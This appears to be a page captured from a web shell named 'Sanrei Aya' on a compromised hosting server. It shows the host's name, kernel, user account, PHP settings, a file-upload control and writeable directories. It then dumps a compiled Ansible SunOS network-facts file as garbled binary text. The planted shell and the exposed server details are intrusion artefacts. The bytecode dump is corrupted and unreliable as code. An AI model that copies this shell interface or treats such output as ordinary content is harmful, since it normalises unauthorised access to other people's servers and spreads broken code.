Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /lib/python3.9/site-packages/ansible/module_utils/facts/network/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/network/__pycache__/sunos.cpython-39.pyc
a

�)g��@s\ddlmZmZmZeZddlZddlmZddl	m
Z
Gdd�de
�ZGdd�de�ZdS)	�)�absolute_import�division�print_functionN)�NetworkCollector)�GenericBsdIfconfigNetworkc@s,eZdZdZdZdd�Zdd�Zdd�Zd	S)
�SunOSNetworkz�
    This is the SunOS Network Class.
    It uses the GenericBsdIfconfigNetwork.

    Solaris can have different FLAGS and MTU for IPv4 and IPv6 on the same interface
    so these facts have been moved inside the 'ipv4' and 'ipv6' lists.
    �SunOScCs�i}i}tggd�}|j�|dg�\}}}|��D�]<}|r2|��}	t�d|�rxt|	�dkrx|�|	||�}|||d<q2|	d�	d�r�|�
|	||�q2|	ddkr�|�|	||�q2|	dd	kr�|�|	||�q2|	dd
kr�|�
|	||�q2|	ddk�r|�|	||�q2|	ddk�r&|�|	||�q2|	dd
k�rD|�|	||�q2|	ddk�rb|�|	||�q2|�|	||�q2|D]T}
dD]H}i}||
|D]}
|�|
��q�t|���dk�r~|g||
|<�q~�qv||fS)N)Zall_ipv4_addressesZall_ipv6_addressesz-az^\S��devicerzoptions=Znd6Zetherzmedia:zstatus:ZlladdrZinetZinet6)�ipv4�ipv6)�dict�moduleZrun_command�
splitlines�split�re�match�len�parse_interface_line�
startswithZparse_options_lineZparse_nd6_line�parse_ether_lineZparse_media_lineZparse_status_lineZparse_lladdr_lineZparse_inet_lineZparse_inet6_lineZparse_unknown_line�update�keys)�selfZ
ifconfig_path�
interfaces�
current_if�ips�rc�out�err�line�wordsZiface�vZcombined_factsZfacts�r#�L/usr/lib/python3.9/site-packages/ansible/module_utils/facts/network/sunos.py�get_interfaces_info'sL�z SunOSNetwork.get_interfaces_infocCs�|ddd�}||vr(|ggdd�}n||}|�|d�}d}d|vrNd}d	|vr^d
|d<||�||dd
��d|d<|S)Nr����unknown)r
rr�type�rZIPv6rZLOOPBACKZloopbackr(r	)�flagsZmtu�
macaddress)Zget_options�append)rr!rrr
r*r"r#r#r$rXsz!SunOSNetwork.parse_interface_linecCsHd}|d�d�D] }d|dd�}||d7}q|dd�|d<dS)	N�r)�:�0���rr&r+)r)rr!rrr+Zoctetr#r#r$rjs
zSunOSNetwork.parse_ether_lineN)�__name__�
__module__�__qualname__�__doc__�platformr%rrr#r#r#r$rs
1rc@seZdZeZdZdS)�SunOSNetworkCollectorrN)r1r2r3rZ_fact_classZ	_platformr#r#r#r$r6rsr6)
Z
__future__rrrr(Z
__metaclass__rZ'ansible.module_utils.facts.network.baserZ.ansible.module_utils.facts.network.generic_bsdrrr6r#r#r#r$�<module>sY

Yohohohohohooho | Sanrei Aya